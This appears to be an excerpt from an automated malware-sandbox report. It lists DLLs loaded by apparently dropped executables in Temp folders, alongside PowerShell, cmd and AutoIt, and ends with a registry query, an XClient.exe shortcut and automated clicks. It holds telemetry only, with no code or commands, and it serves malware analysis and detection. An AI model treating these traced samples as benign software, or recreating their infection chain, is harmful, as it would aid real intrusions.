Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: avicap32.dll
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Section loaded: msvfw32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: aclayers.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: sfc.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wsock32.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: mpr.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: mscoree.dll

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: XClient.lnk.24.dr

LNK file: ..\..\..\..\..\XClient.exe

Source: C:\Users\user\Desktop\same.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Automated click: OK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

